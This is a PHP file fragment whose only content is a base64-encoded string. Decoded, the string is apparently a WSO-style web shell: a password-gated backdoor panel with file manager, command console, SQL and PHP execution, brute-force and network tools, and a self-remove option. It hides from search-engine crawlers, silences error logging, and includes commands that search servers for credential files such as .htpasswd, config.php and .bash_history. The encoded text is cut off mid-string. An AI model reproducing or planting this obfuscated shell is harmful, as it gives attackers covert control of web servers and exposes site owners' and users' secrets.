$index=" JGF1dGhfcGFzcyA9ICI5NmE5NmE4OTIzZDE0NmZlZDc5YjZiMTU0ZWNhZTQ0NCI7CiRjb2xvciA9 ICIjZGY1IjsKJGRlZmF1bHRfYWN0aW9uID0gJ0ZpbGVzTWFuJzsKJGRlZmF1bHRfY2hhcnNldCA9 ICdXaW5kb3dzLTEyNTEnOwoKaWYoICFlbXB0eSgkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10p ICkgewogICAgJHVzZXJBZ2VudHMgPSBhcnJheSgiR29vZ2xlIiwgIlNsdXJwIiwgIk1TTkJvdCIs ICJpYV9hcmNoaXZlciIsICJZYW5kZXgiLCAiUmFtYmxlciIpOwogICAgZm9yZWFjaCgkdXNlckFn ZW50cyBhcyAkYWdlbnQpCiAgICAgICAgaWYoIHN0cnBvcygkX1NFUlZFUlsnSFRUUF9VU0VSX0FH RU5UJ10sICRhZ2VudCkgIT09IGZhbHNlICkgewogICAgICAgICAgICBoZWFkZXIoJ0hUVFAvMS4w IDQwNCBOb3QgRm91bmQnKTsKICAgICAgICAgICAgZXhpdDsKICAgICAgICB9Cn0KQHNlc3Npb25f c3RhcnQoKTsKQGVycm9yX3JlcG9ydGluZygwKTsKQGluaV9zZXQoJ2Vycm9yX2xvZycsTlVMTCk7 CkBpbmlfc2V0KCdsb2dfZXJyb3JzJywwKTsKQGluaV9zZXQoJ21heF9leGVjdXRpb25fdGltZScs MCk7CkBzZXRfdGltZV9saW1pdCgwKTsKQHNldF9tYWdpY19xdW90ZXNfcnVudGltZSgwKTsKQGRl ZmluZSgnVkVSU0lPTicsICcgaGlkZGVuZm9ybTo6Li4nKTsKaWYoIGdldF9tYWdpY19xdW90ZXNf Z3BjKCkgKSB7CglmdW5jdGlvbiBXU09zdHJpcHNsYXNoZXMoJGFycmF5KSB7CgkJcmV0dXJuIGlz X2FycmF5KCRhcnJheSkgPyBhcnJheV9tYXAoJ1dTT3N0cmlwc2xhc2hlcycsICRhcnJheSkgOiBz dHJpcHNsYXNoZXMoJGFycmF5KTsKCX0KCSRfUE9TVCA9IFdTT3N0cmlwc2xhc2hlcygkX1BPU1Qp Owp9CmZ1bmN0aW9uIHdzb0xvZ2luKCkgewoJZGllKCI8Zm9ybSBtZXRob2Q9cG9zdD48aW5wdXQg dHlwZT1oaWRkZW4gbmFtZT1wYXNzPjwvZm9ybT4iKTsKfQppZiggIWlzc2V0KCAkX1NFU1NJT05b bWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSldICkpCglpZiggZW1wdHkoICRhdXRoX3Bhc3MgKSB8 fAoJCSggaXNzZXQoICRfUE9TVFsncGFzcyddICkgJiYgKCBtZDUoJF9QT1NUWydwYXNzJ10pID09 ICRhdXRoX3Bhc3MgKSApICkKCQkkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSld ID0gdHJ1ZTsKCWVsc2UKCQl3c29Mb2dpbigpOwoKaWYoIHN0cnRvbG93ZXIoIHN1YnN0cihQSFBf T1MsMCwzKSApID09ICJ3aW4iICkKCSRvcyA9ICd3aW4nOwplbHNlCgkkb3MgPSAnbml4JzsKJHNh ZmVfbW9kZSA9IEBpbmlfZ2V0KCdzYWZlX21vZGUnKTsKJGRpc2FibGVfZnVuY3Rpb25zID0gQGlu aV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJyk7CiRob21lX2N3ZCA9IEBnZXRjd2QoKTsKaWYoIGlz c2V0KCAkX1BPU1RbJ2MnXSApICkKCUBjaGRpcigkX1BPU1RbJ2MnXSk7CiRjd2QgPSBAZ2V0Y3dk KCk7CmlmKCAkb3MgPT0gJ3dpbicpIHsKCSRob21lX2N3ZCA9IHN0cl9yZXBsYWNlKCJcXCIsICIv IiwgJGhvbWVfY3dkKTsKCSRjd2QgPSBzdHJfcmVwbGFjZSgiXFwiLCAiLyIsICRjd2QpOwp9Cmlm KCAkY3dkW3N0cmxlbigkY3dkKS0xXSAhPSAnLycgKQoJJGN3ZCAuPSAnLyc7CgkKaWYoJG9zID09 ICd3aW4nKQoJJGFsaWFzZXMgPSBhcnJheSgKCQkiTGlzdCBEaXJlY3RvcnkiID0+ICJkaXIiLAog ICAgCSJGaW5kIGluZGV4LnBocCBpbiBjdXJyZW50IGRpciIgPT4gImRpciAvcyAvdyAvYiBpbmRl eC5waHAiLAogICAgCSJGaW5kICpjb25maWcqLnBocCBpbiBjdXJyZW50IGRpciIgPT4gImRpciAv cyAvdyAvYiAqY29uZmlnKi5waHAiLAogICAgCSJTaG93IGFjdGl2ZSBjb25uZWN0aW9ucyIgPT4g Im5ldHN0YXQgLWFuIiwKICAgIAkiU2hvdyBydW5uaW5nIHNlcnZpY2VzIiA9PiAibmV0IHN0YXJ0 IiwKICAgIAkiVXNlciBhY2NvdW50cyIgPT4gIm5ldCB1c2VyIiwKICAgIAkiU2hvdyBjb21wdXRl cnMiID0+ICJuZXQgdmlldyIsCgkJIkFSUCBUYWJsZSIgPT4gImFycCAtYSIsCgkJIklQIENvbmZp Z3VyYXRpb24iID0+ICJpcGNvbmZpZyAvYWxsIgoJKTsKZWxzZQoJJGFsaWFzZXMgPSBhcnJheSgK ICAJCSJMaXN0IGRpciIgPT4gImxzIC1saGEiLAoJCSJsaXN0IGZpbGUgYXR0cmlidXRlcyBvbiBh IExpbnV4IHNlY29uZCBleHRlbmRlZCBmaWxlIHN5c3RlbSIgPT4gImxzYXR0ciAtdmEiLAogIAkJ InNob3cgb3BlbmVkIHBvcnRzIiA9PiAibmV0c3RhdCAtYW4gfCBncmVwIC1pIGxpc3RlbiIsCgkJ IkZpbmQiID0+ICIiLAogIAkJImZpbmQgYWxsIHN1aWQgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUg ZiAtcGVybSAtMDQwMDAgLWxzIiwKICAJCSJmaW5kIHN1aWQgZmlsZXMgaW4gY3VycmVudCBkaXIi ID0+ICJmaW5kIC4gLXR5cGUgZiAtcGVybSAtMDQwMDAgLWxzIiwKICAJCSJmaW5kIGFsbCBzZ2lk IGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLXBlcm0gLTAyMDAwIC1scyIsCiAgCQkiZmluZCBz Z2lkIGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLXBlcm0gLTAyMDAw IC1scyIsCiAgCQkiZmluZCBjb25maWcuaW5jLnBocCBmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBm IC1uYW1lIGNvbmZpZy5pbmMucGhwIiwKICAJCSJmaW5kIGNvbmZpZyogZmlsZXMiID0+ICJmaW5k IC8gLXR5cGUgZiAtbmFtZSBcImNvbmZpZypcIiIsCiAgCQkiZmluZCBjb25maWcqIGZpbGVzIGlu IGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLW5hbWUgXCJjb25maWcqXCIiLAogIAkJ ImZpbmQgYWxsIHdyaXRhYmxlIGZvbGRlcnMgYW5kIGZpbGVzIiA9PiAiZmluZCAvIC1wZXJtIC0y IC1scyIsCiAgCQkiZmluZCBhbGwgd3JpdGFibGUgZm9sZGVycyBhbmQgZmlsZXMgaW4gY3VycmVu dCBkaXIiID0+ICJmaW5kIC4gLXBlcm0gLTIgLWxzIiwKICAJCSJmaW5kIGFsbCBzZXJ2aWNlLnB3 ZCBmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBmIC1uYW1lIHNlcnZpY2UucHdkIiwKICAJCSJmaW5k IHNlcnZpY2UucHdkIGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLW5h bWUgc2VydmljZS5wd2QiLAogIAkJImZpbmQgYWxsIC5odHBhc3N3ZCBmaWxlcyIgPT4gImZpbmQg LyAtdHlwZSBmIC1uYW1lIC5odHBhc3N3ZCIsCiAgCQkiZmluZCAuaHRwYXNzd2QgZmlsZXMgaW4g Y3VycmVudCBkaXIiID0+ICJmaW5kIC4gLXR5cGUgZiAtbmFtZSAuaHRwYXNzd2QiLAogIAkJImZp bmQgYWxsIC5iYXNoX2hpc3RvcnkgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtbmFtZSAuYmFz aF9oaXN0b3J5IiwKICAJCSJmaW5kIC5iYXNoX2hpc3RvcnkgZmlsZXMgaW4gY3VycmVudCBkaXIi ID0+ICJmaW5kIC4gLXR5cGUgZiAtbmFtZSAuYmFzaF9oaXN0b3J5IiwKICAJCSJmaW5kIGFsbCAu ZmV0Y2htYWlscmMgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtbmFtZSAuZmV0Y2htYWlscmMi LAogIAkJImZpbmQgLmZldGNobWFpbHJjIGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAu IC10eXBlIGYgLW5hbWUgLmZldGNobWFpbHJjIiwKCQkiTG9jYXRlIiA9PiAiIiwKICAJCSJsb2Nh dGUgaHR0cGQuY29uZiBmaWxlcyIgPT4gImxvY2F0ZSBodHRwZC5jb25mIiwKCQkibG9jYXRlIHZo b3N0cy5jb25mIGZpbGVzIiA9PiAibG9jYXRlIHZob3N0cy5jb25mIiwKCQkibG9jYXRlIHByb2Z0 cGQuY29uZiBmaWxlcyIgPT4gImxvY2F0ZSBwcm9mdHBkLmNvbmYiLAoJCSJsb2NhdGUgcHN5Ym5j LmNvbmYgZmlsZXMiID0+ICJsb2NhdGUgcHN5Ym5jLmNvbmYiLAoJCSJsb2NhdGUgbXkuY29uZiBm aWxlcyIgPT4gImxvY2F0ZSBteS5jb25mIiwKCQkibG9jYXRlIGFkbWluLnBocCBmaWxlcyIgPT4i bG9jYXRlIGFkbWluLnBocCIsCgkJImxvY2F0ZSBjZmcucGhwIGZpbGVzIiA9PiAibG9jYXRlIGNm Zy5waHAiLAoJCSJsb2NhdGUgY29uZi5waHAgZmlsZXMiID0+ICJsb2NhdGUgY29uZi5waHAiLAoJ CSJsb2NhdGUgY29uZmlnLmRhdCBmaWxlcyIgPT4gImxvY2F0ZSBjb25maWcuZGF0IiwKCQkibG9j YXRlIGNvbmZpZy5waHAgZmlsZXMiID0+ICJsb2NhdGUgY29uZmlnLnBocCIsCgkJImxvY2F0ZSBj b25maWcuaW5jIGZpbGVzIiA9PiAibG9jYXRlIGNvbmZpZy5pbmMiLAoJCSJsb2NhdGUgY29uZmln LmluYy5waHAiID0+ICJsb2NhdGUgY29uZmlnLmluYy5waHAiLAoJCSJsb2NhdGUgY29uZmlnLmRl ZmF1bHQucGhwIGZpbGVzIiA9PiAibG9jYXRlIGNvbmZpZy5kZWZhdWx0LnBocCIsCgkJImxvY2F0 ZSBjb25maWcqIGZpbGVzICIgPT4gImxvY2F0ZSBjb25maWciLAoJCSJsb2NhdGUgLmNvbmYgZmls ZXMiPT4ibG9jYXRlICcuY29uZiciLAoJCSJsb2NhdGUgLnB3ZCBmaWxlcyIgPT4gImxvY2F0ZSAn LnB3ZCciLAoJCSJsb2NhdGUgLnNxbCBmaWxlcyIgPT4gImxvY2F0ZSAnLnNxbCciLAoJCSJsb2Nh dGUgLmh0cGFzc3dkIGZpbGVzIiA9PiAibG9jYXRlICcuaHRwYXNzd2QnIiwKCQkibG9jYXRlIC5i YXNoX2hpc3RvcnkgZmlsZXMiID0+ICJsb2NhdGUgJy5iYXNoX2hpc3RvcnknIiwKCQkibG9jYXRl IC5teXNxbF9oaXN0b3J5IGZpbGVzIiA9PiAibG9jYXRlICcubXlzcWxfaGlzdG9yeSciLAoJCSJs b2NhdGUgLmZldGNobWFpbHJjIGZpbGVzIiA9PiAibG9jYXRlICcuZmV0Y2htYWlscmMnIiwKCQki bG9jYXRlIGJhY2t1cCBmaWxlcyIgPT4gImxvY2F0ZSBiYWNrdXAiLAoJCSJsb2NhdGUgZHVtcCBm aWxlcyIgPT4gImxvY2F0ZSBkdW1wIiwKCQkibG9jYXRlIHByaXYgZmlsZXMiID0+ICJsb2NhdGUg cHJpdiIJCgkpOwoKZnVuY3Rpb24gd3NvSGVhZGVyKCkgewoJaWYoZW1wdHkoJF9QT1NUWydjaGFy c2V0J10pKQoJCSRfUE9TVFsnY2hhcnNldCddID0gJEdMT0JBTFNbJ2RlZmF1bHRfY2hhcnNldCdd OwoJZ2xvYmFsICRjb2xvcjsKCWVjaG8gIjxodG1sPjxoZWFkPjxtZXRhIGh0dHAtZXF1aXY9J0Nv bnRlbnQtVHlwZScgY29udGVudD0ndGV4dC9odG1sOyBjaGFyc2V0PSIgLiAkX1BPU1RbJ2NoYXJz ZXQnXSAuICInPjx0aXRsZT4iIC4gJF9TRVJWRVJbJ0hUVFBfSE9TVCddIC4gIi0gLi46OmJ5IEB0 aGV3aXRjaCIgLiBWRVJTSU9OIC4iPC90aXRsZT4KPHN0eWxlPgpib2R5e2JhY2tncm91bmQtY29s b3I6IzQ0NDtjb2xvcjojZTFlMWUxO30KYm9keSx0ZCx0aHsgZm9udDogOXB0IEx1Y2lkYSxWZXJk YW5hO21hcmdpbjowO3ZlcnRpY2FsLWFsaWduOnRvcDtjb2xvcjojZTFlMWUxOyB9CnRhYmxlLmlu Zm97IGNvbG9yOiNmZmY7YmFja2dyb3VuZC1jb2xvcjojMjIyOyB9CnNwYW4saDEsYXsgY29sb3I6 ICRjb2xvciAhaW1wb3J0YW50OyB9CnNwYW57IGZvbnQtd2VpZ2h0OiBib2xkZXI7IH0KaDF7IGJv cmRlci1sZWZ0OjVweCBzb2xpZCAkY29sb3I7cGFkZGluZzogMnB4IDVweDtmb250OiAxNHB0IFZl cmRhbmE7YmFja2dyb3VuZC1jb2xvcjojMjIyO21hcmdpbjowcHg7IH0KZGl2LmNvbnRlbnR7IHBh ZGRpbmc6IDVweDttYXJnaW4tbGVmdDo1cHg7YmFja2dyb3VuZC1jb2xvcjojMzMzOyB9CmF7IHRl eHQtZGVjb3JhdGlvbjpub25lOyB9CmE6aG92ZXJ7IHRleHQtZGVjb3JhdGlvbjp1bmRlcmxpbmU7 IH0KLm1sMXsgYm9yZGVyOjFweCBzb2xpZCAjNDQ0O3BhZGRpbmc6NXB4O21hcmdpbjowO292ZXJm bG93OiBhdXRvOyB9Ci5iaWdhcmVheyB3aWR0aDoxMDAlO2hlaWdodDoyNTBweDsgfQppbnB1dCx0 ZXh0YXJlYSxzZWxlY3R7IG1hcmdpbjowO2NvbG9yOiNmZmY7YmFja2dyb3VuZC1jb2xvcjojNTU1 O2JvcmRlcjoxcHggc29saWQgJGNvbG9yOyBmb250OiA5cHQgTW9ub3NwYWNlLCdDb3VyaWVyIE5l dyc7IH0KZm9ybXsgbWFyZ2luOjBweDsgfQojdG9vbHNUYmx7IHRleHQtYWxpZ246Y2VudGVyOyB9 Ci50b29sc0lucHsgd2lkdGg6IDMwMHB4IH0KLm1haW4gdGh7dGV4dC1hbGlnbjpsZWZ0O2JhY2tn cm91bmQtY29sb3I6IzVlNWU1ZTt9Ci5tYWluIHRyOmhvdmVye2JhY2tncm91bmQtY29sb3I6IzVl NWU1ZX0KLmwxe2JhY2tncm91bmQtY29sb3I6IzQ0NH0KcHJle2ZvbnQtZmFtaWx5OkNvdXJpZXIs TW9ub3NwYWNlO30KPC9zdHlsZT4KPHNjcmlwdD4KICAgIHZhciBjXyA9ICciIC4gaHRtbHNwZWNp YWxjaGFycygkR0xPQkFMU1snY3dkJ10pIC4gIic7CiAgICB2YXIgYV8gPSAnIiAuIGh0bWxzcGVj aWFsY2hhcnMoQCRfUE9TVFsnYSddKSAuIicKICAgIHZhciBjaGFyc2V0XyA9ICciIC4gaHRtbHNw ZWNpYWxjaGFycyhAJF9QT1NUWydjaGFyc2V0J10pIC4iJzsKICAgIHZhciBwMV8gPSAnIiAuICgo c3RycG9zKEAkX1BPU1RbJ3AxJ10sIlxuIikhPT1mYWxzZSk/Jyc6YWRkc2xhc2hlcyhodG1sc3Bl Y2lhbGNoYXJzKCRfUE9TVFsncDEnXSkpKSAuIic7CiAgICB2YXIgcDJfID0gJyIgLiAoKHN0cnBv cyhAJF9QT1NUWydwMiddLCJcbiIpIT09ZmFsc2UpPycnOmFkZHNsYXNoZXMoaHRtbHNwZWNpYWxj aGFycyhAJF9QT1NUWydwMiddKSkpIC4iJzsKICAgIHZhciBwM18gPSAnIiAuICgoc3RycG9zKEAk X1BPU1RbJ3AzJ10sIlxuIikhPT1mYWxzZSk/Jyc6YWRkc2xhc2hlcyhodG1sc3BlY2lhbGNoYXJz KEAkX1BPU1RbJ3AzJ10pKSkgLiInOwoJZnVuY3Rpb24gc2V0KGEsYyxwMSxwMixwMyxjaGFyc2V0 KSB7CgkJaWYoYSAhPSBudWxsKWRvY3VtZW50Lm1mLmEudmFsdWU9YTtlbHNlIGRvY3VtZW50Lm1m LmEudmFsdWU9YV87CgkJaWYoYyAhPSBudWxsKWRvY3VtZW50Lm1mLmMudmFsdWU9YztlbHNlIGRv Y3VtZW50Lm1mLmMudmFsdWU9Y187CgkJaWYocDEgIT0gbnVsbClkb2N1bWVudC5tZi5wMS52YWx1 ZT1wMTtlbHNlIGRvY3VtZW50Lm1mLnAxLnZhbHVlPXAxXzsKCQlpZihwMiAhPSBudWxsKWRvY3Vt ZW50Lm1mLnAyLnZhbHVlPXAyO2Vsc2UgZG9jdW1lbnQubWYucDIudmFsdWU9cDJfOwoJCWlmKHAz ICE9IG51bGwpZG9jdW1lbnQubWYucDMudmFsdWU9cDM7ZWxzZSBkb2N1bWVudC5tZi5wMy52YWx1 ZT1wM187CgkJaWYoY2hhcnNldCAhPSBudWxsKWRvY3VtZW50Lm1mLmNoYXJzZXQudmFsdWU9Y2hh cnNldDtlbHNlIGRvY3VtZW50Lm1mLmNoYXJzZXQudmFsdWU9Y2hhcnNldF87Cgl9CglmdW5jdGlv biBnKGEsYyxwMSxwMixwMyxjaGFyc2V0KSB7CgkJc2V0KGEsYyxwMSxwMixwMyxjaGFyc2V0KTsK CQlkb2N1bWVudC5tZi5zdWJtaXQoKTsKCX0KCWZ1bmN0aW9uIGEoYSxjLHAxLHAyLHAzLGNoYXJz ZXQpIHsKCQlzZXQoYSxjLHAxLHAyLHAzLGNoYXJzZXQpOwoJCXZhciBwYXJhbXMgPSAnYWpheD10 cnVlJzsKCQlmb3IoaT0wO2k8ZG9jdW1lbnQubWYuZWxlbWVudHMubGVuZ3RoO2krKykKCQkJcGFy YW1zICs9ICcmJytkb2N1bWVudC5tZi5lbGVtZW50c1tpXS5uYW1lKyc9JytlbmNvZGVVUklDb21w b25lbnQoZG9jdW1lbnQubWYuZWxlbWVudHNbaV0udmFsdWUpOwoJCXNyKCciIC4gYWRkc2xhc2hl cygkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSkgLiInLCBwYXJhbXMpOwoJfQoJZnVuY3Rpb24gc3Io dXJsLCBwYXJhbXMpIHsJCgkJaWYgKHdpbmRvdy5YTUxIdHRwUmVxdWVzdCkKCQkJcmVxID0gbmV3 IFhNTEh0dHBSZXF1ZXN0KCk7CgkJZWxzZSBpZiAod2luZG93LkFjdGl2ZVhPYmplY3QpCgkJCXJl cSA9IG5ldyBBY3RpdmVYT2JqZWN0KCdNaWNyb3NvZnQuWE1MSFRUUCcpOwogICAgICAgIGlmIChy ZXEpIHsKICAgICAgICAgICAgcmVxLm9ucmVhZHlzdGF0ZWNoYW5nZSA9IHByb2Nlc3NSZXFDaGFu Z2U7CiAgICAgICAgICAgIHJlcS5vcGVuKCdQT1NUJywgdXJsLCB0cnVlKTsKICAgICAgICAgICAg cmVxLnNldFJlcXVlc3RIZWFkZXIgKCdDb250ZW50LVR5cGUnLCAnYXBwbGljYXRpb24veC13d3ct Zm9ybS11cmxlbmNvZGVkJyk7CiAgICAgICAgICAgIHJlcS5zZW5kKHBhcmFtcyk7CiAgICAgICAg fQoJfQoJZnVuY3Rpb24gcHJvY2Vzc1JlcUNoYW5nZSgpIHsKCQlpZiggKHJlcS5yZWFkeVN0YXRl ID09IDQpICkKCQkJaWYocmVxLnN0YXR1cyA9PSAyMDApIHsKCQkJCXZhciByZWcgPSBuZXcgUmVn RXhwKFwiKFxcXFxkKykoW1xcXFxTXFxcXHNdKilcIiwgJ20nKTsKCQkJCXZhciBhcnI9cmVnLmV4 ZWMocmVxLnJlc3BvbnNlVGV4dCk7CgkJCQlldmFsKGFyclsyXS5zdWJzdHIoMCwgYXJyWzFdKSk7 CgkJCX0gZWxzZSBhbGVydCgnUmVxdWVzdCBlcnJvciEnKTsKCX0KPC9zY3JpcHQ+CjxoZWFkPjxi b2R5PjxkaXYgc3R5bGU9J3Bvc2l0aW9uOmFic29sdXRlO3dpZHRoOjEwMCU7YmFja2dyb3VuZC1j b2xvcjojNDQ0O3RvcDowO2xlZnQ6MDsnPgo8Zm9ybSBtZXRob2Q9cG9zdCBuYW1lPW1mIHN0eWxl PSdkaXNwbGF5Om5vbmU7Jz4KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YT4KPGlucHV0IHR5cGU9 aGlkZGVuIG5hbWU9Yz4KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cDE+CjxpbnB1dCB0eXBlPWhp ZGRlbiBuYW1lPXAyPgo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wMz4KPGlucHV0IHR5cGU9aGlk ZGVuIG5hbWU9Y2hhcnNldD4KPC9mb3JtPiI7CgkkZnJlZVNwYWNlID0gQGRpc2tmcmVlc3BhY2Uo JEdMT0JBTFNbJ2N3ZCddKTsKCSR0b3RhbFNwYWNlID0gQGRpc2tfdG90YWxfc3BhY2UoJEdMT0JB TFNbJ2N3ZCddKTsKCSR0b3RhbFNwYWNlID0gJHRvdGFsU3BhY2U/JHRvdGFsU3BhY2U6MTsKCSRy ZWxlYXNlID0gQHBocF91bmFtZSgncicpOwoJJGtlcm5lbCA9IEBwaHBfdW5hbWUoJ3MnKTsKCSRt aWxsaW5rID0gJ2h0dHA6Ly9taWx3MHJtLmNvbS9zZWFyY2gucGhwP2Rvbmc9JzsKCWlmKCBzdHJw b3MoJ0xpbnV4JywgJGtlcm5lbCkgIT09IGZhbHNlICkKCQkkbWlsbGluayAuPSB1cmxlbmNvZGUo ICdMaW51eCBLZXJuZWwgJyAuIHN1YnN0cigkcmVsZWFzZSwwLDYpICk7CgllbHNlCgkJJG1pbGxp bmsgLj0gdXJsZW5jb2RlKCAka2VybmVsIC4gJyAnIC4gc3Vic3RyKCRyZWxlYXNlLDAsMykgKTsK CWlmKCFmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldGVnaWQnKSkgewoJCSR1c2VyID0gQGdldF9j dXJyZW50X3VzZXIoKTsKCQkkdWlkID0gQGdldG15dWlkKCk7CgkJJGdpZCA9IEBnZXRteWdpZCgp OwoJCSRncm91cCA9ICI/IjsKCX0gZWxzZSB7CgkJJHVpZCA9IEBwb3NpeF9nZXRwd3VpZChAcG9z aXhfZ2V0ZXVpZCgpKTsKCQkkZ2lkID0gQHBvc2l4X2dldGdyZ2lkKEBwb3NpeF9nZXRlZ2lkKCkp OwoJCSR1c2VyID0gJHVpZFsnbmFtZSddOwoJCSR1aWQgPSAkdWlkWyd1aWQnXTsKCQkkZ3JvdXAg PSAkZ2lkWyduYW1lJ107CgkJJGdpZCA9ICRnaWRbJ2dpZCddOwoJfQoJJGN3ZF9saW5rcyA9ICcn OwoJJHBhdGggPSBleHBsb2RlKCIvIiwgJEdMT0JBTFNbJ2N3ZCddKTsKCSRuPWNvdW50KCRwYXRo KTsKCWZvcigkaT0wOyRpPCRuLTE7JGkrKykgewoJCSRjd2RfbGlua3MgLj0gIjxhIGhyZWY9JyMn IG9uY2xpY2s9J2coXCJGaWxlc01hblwiLFwiIjsKCQlmb3IoJGo9MDskajw9JGk7JGorKykKCQkJ JGN3ZF9saW5rcyAuPSAkcGF0aFskal0uJy8nOwoJCSRjd2RfbGlua3MgLj0gIlwiKSc+Ii4kcGF0 aFskaV0uIi88L2E+IjsKCX0KCSRjaGFyc2V0cyA9IGFycmF5KCdVVEYtOCcsICdXaW5kb3dzLTEy NTEnLCAnS09JOC1SJywgJ0tPSTgtVScsICdjcDg2NicpOwoJJG9wdF9jaGFyc2V0cyA9ICcnOwoJ Zm9yZWFjaCgkY2hhcnNldHMgYXMgJGl0ZW0pCgkJJG9wdF9jaGFyc2V0cyAuPSAnPG9wdGlvbiB2 YWx1ZT0iJy4kaXRlbS4nIiAnLigkX1BPU1RbJ2NoYXJzZXQnXT09JGl0ZW0/J3NlbGVjdGVkJzon JykuJz4nLiRpdGVtLic8L29wdGlvbj4nOwoJJG0gPSBhcnJheSgnU2VjLiBJbmZvJz0+J1NlY0lu Zm8nLCdGaWxlcyc9PidGaWxlc01hbicsJ0NvbnNvbGUnPT4nQ29uc29sZScsJ1NxbCc9PidTcWwn LCdQaHAnPT4nUGhwJywnU2FmZSBtb2RlJz0+J1NhZmVNb2RlJywnU3RyaW5nIHRvb2xzJz0+J1N0 cmluZ1Rvb2xzJywnQnJ1dGVmb3JjZSc9PidCcnV0ZWZvcmNlJywnTmV0d29yayc9PidOZXR3b3Jr Jyk7CglpZighZW1wdHkoJEdMT0JBTFNbJ2F1dGhfcGFzcyddKSkKCQkkbVsnTG9nb3V0J10gPSAn TG9nb3V0JzsKCSRtWydTZWxmIHJlbW92ZSddID0gJ1NlbGZSZW1vdmUnOwoJJG1lbnUgPSAnJzsK CWZvcmVhY2goJG0gYXMgJGsgPT4gJHYpCgkJJG1lbnUgLj0gJzx0aCB3aWR0aD0iJy4oaW50KSgx MDAvY291bnQoJG0pKS4nJSI+WyA8YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnJy4kdi4nXCcsbnVs bCxcJ1wnLFwnXCcsXCdcJykiPicuJGsuJzwvYT4gXTwvdGg+JzsKCSRkcml2ZXMgPSAiIjsKCWlm ICgkR0xPQkFMU1snb3MnXSA9PSAnd2luJykgewoJCWZvcmVhY2goIHJhbmdlKCdjJywneicpIGFz ICRkcml2ZSApCgkJaWYgKGlzX2RpcigkZHJpdmUuJzpcXCcpKQoJCQkkZHJpdmVzIC49ICc8YSBo cmVmPSIjIiBvbmNsaWNrPSJnKFwnRmlsZXNNYW5cJyxcJycuJGRyaXZlLic6L1wnKSI+WyAnLiRk cml2ZS4nIF08L2E+ICc7Cgl9CgllY2hvICc8dGFibGUgY2xhc3M9aW5mbyBjZWxscGFkZGluZz0z IGNlbGxzcGFjaW5nPTAgd2lkdGg9MTAwJT48dHI+PHRkIHdpZHRoPTE+PHNwYW4+VW5hbWU6PGJy PlVzZXI6PGJyPlBocDo8YnI+SGRkOjxicj5Dd2Q6Jy4oJEdMT0JBTFNbJ29zJ10gPT0gJ3dpbic/ Jzxicj5Ecml2ZXM6JzonJykuJzwvc3Bhbj48L3RkPicuCgkJICc8dGQ+PG5vYnI+Jy5zdWJzdHIo QHBocF91bmFtZSgpLCAwLCAxMjApLicgIDxhIGhyZWY9Imh0dHA6Ly93d3cuZ29vZ2xlLmNvbS9z ZWFyY2g/cT0nLnVybGVuY29kZShAcGhwX3VuYW1lKCkpLiciIHRhcmdldD0iX2JsYW5rIj5bR29v Z2xlXTwvYT4gPGEgaHJlZj0iJy4kbWlsbGluay4nIiB0YXJnZXQ9X2JsYW5rPlttaWx3MHJtXTwv YT48L25vYnI+PGJyPicuJHVpZC4nICggJy4kdXNlci4nICkgPHNwYW4+R3JvdXA6PC9zcGFuPiAn LiRnaWQuJyAoICcuJGdyb3VwLicgKTxicj4nLkBwaHB2ZXJzaW9uKCkuJyA8c3Bhbj5TYWZlIG1v ZGU6PC9zcGFuPiAnLigkR0xPQkFMU1snc2FmZV9tb2RlJ10/Jzxmb250IGNvbG9yPXJlZD5PTjwv Zm9udD4nOic8Zm9udCBjb2xvcj0jMDBiYjAwPjxiPk9GRjwvYj48L2ZvbnQ+JykuJyA8YSBocmVm PSMgb25jbGljaz0iZyhcJ1BocFwnLG51bGwsXCdcJyxcJ2luZm9cJykiPlsgcGhwaW5mbyBdPC9h PiA8c3Bhbj5EYXRldGltZTo8L3NwYW4+ICcuZGF0ZSgnWS1tLWQgSDppOnMnKS4nPGJyPicud3Nv Vmlld1NpemUoJHRvdGFsU3BhY2UpLicgPHNwYW4+RnJlZTo8L3NwYW4+ICcud3NvVmlld1NpemUo JGZyZWVTcGFjZSkuJyAoJy4oaW50KSgkZnJlZVNwYWNlLyR0b3RhbFNwYWNlKjEwMCkuJyUpPGJy PicuJGN3ZF9saW5rcy4nICcud3NvUGVybXNDb2xvcigkR0xPQkFMU1snY3dkJ10pLicgPGEgaHJl Zj0jIG9uY2xpY2s9ImcoXCdGaWxlc01hblwnLFwnJy4kR0xPQkFMU1snaG9tZV9jd2QnXS4nXCcs XCdcJyxcJ1wnLFwnXCcpIj5bIGhvbWUgXTwvYT48YnI+Jy4kZHJpdmVzLic8L3RkPicuCgkJICc8 dGQgd2lkdGg9MSBhbGlnbj1yaWdodD48bm9icj48c2VsZWN0IG9uY2hhbmdlPSJnKG51bGwsbnVs bCxudWxsLG51bGwsbnVsbCx0aGlzLnZhbHVlKSI+PG9wdGdyb3VwIGxhYmVsPSJQYWdlIGNoYXJz ZXQiPicuJG9wdF9jaGFyc2V0cy4nPC9vcHRncm91cD48L3NlbGVjdD48YnI+PHNwYW4+U2VydmVy IElQOjwvc3Bhbj48YnI+Jy5AJF9TRVJWRVJbIlNFUlZFUl9BRERSIl0uJzxicj48c3Bhbj5DbGll bnQgSVA6PC9zcGFuPjxicj4nLiRfU0VSVkVSWydSRU1PVEVfQUREUiddLic8L25vYnI+PC90ZD48 L3RyPjwvdGFibGU+Jy4KCQkgJzx0YWJsZSBzdHlsZT0iYm9yZGVyLXRvcDoycHggc29saWQgIzMz 